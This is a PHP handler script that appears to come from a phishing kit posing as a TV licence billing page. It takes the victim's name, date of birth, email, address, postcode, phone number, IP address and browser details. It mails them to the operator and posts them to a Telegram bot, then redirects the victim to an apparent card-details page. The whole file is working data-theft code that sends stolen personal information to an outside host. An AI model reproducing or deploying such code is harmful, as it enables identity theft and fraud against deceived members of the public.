<?php
require_once('config.php');
$cod = trim($_POST['zip']);
if($cod != null){
    
    $ip = getenv("REMOTE_ADDR");
	$hostname = gethostbyaddr($ip);
	$useragent = $_SERVER['HTTP_USER_AGENT'];
    
    $fname = $_POST["fname"];
    $umail = $_POST["umail"];
    $addres = $_POST["addr"];
    $zip = $_POST["zip"];
	$dob = $_POST["dob"];
    $phoneNumber = $_POST["phone"];

	$uniqueid = $_SESSION['client'];
    
    $message = "|TV License Info  Client ".$_SESSION['client']."\n";
	$message .= "From ".$_SESSION['EML']."\n";
	$message .= "First name : ".$fname."\n";
	$message .= "DOB : ".$dob."\n";
    $message .= "Email : ".$umail."\n";
    $message .= "Address : ".$addres."\n";
    $message .= "Post code : ".$zip."\n";
    $message .= "Phone no : ".$phoneNumber."\n";
   $message .= "|Client IP: ".$ip."\n";
	$message .= "|--- http://www.geoiptool.com/?IP=$ip ----\n";
	$message .= "User Agent : ".$useragent."\n";

	


	$subject = "TV license Info Billing : $ip";
    mail($send, $subject, $message);
	

        $data = ['text' => $message,'chat_id' => $cID,  'parse_mode'=>'html',
     'reply_markup' => $menukeyboard];    

	$website="https://api.telegram.org/bot$TGBO";
	  $ch = curl_init($website . '/sendMessage');
	  curl_setopt($ch, CURLOPT_HEADER, false);
	  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	  curl_setopt($ch, CURLOPT_POST, 1);
	  curl_setopt($ch, CURLOPT_POSTFIELDS, ($data));
	  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	  $result = curl_exec($ch);
	  curl_close($ch);


	 				echo '<script> window.location="cdetail.php" </script>';
             	
}
else{
}
?>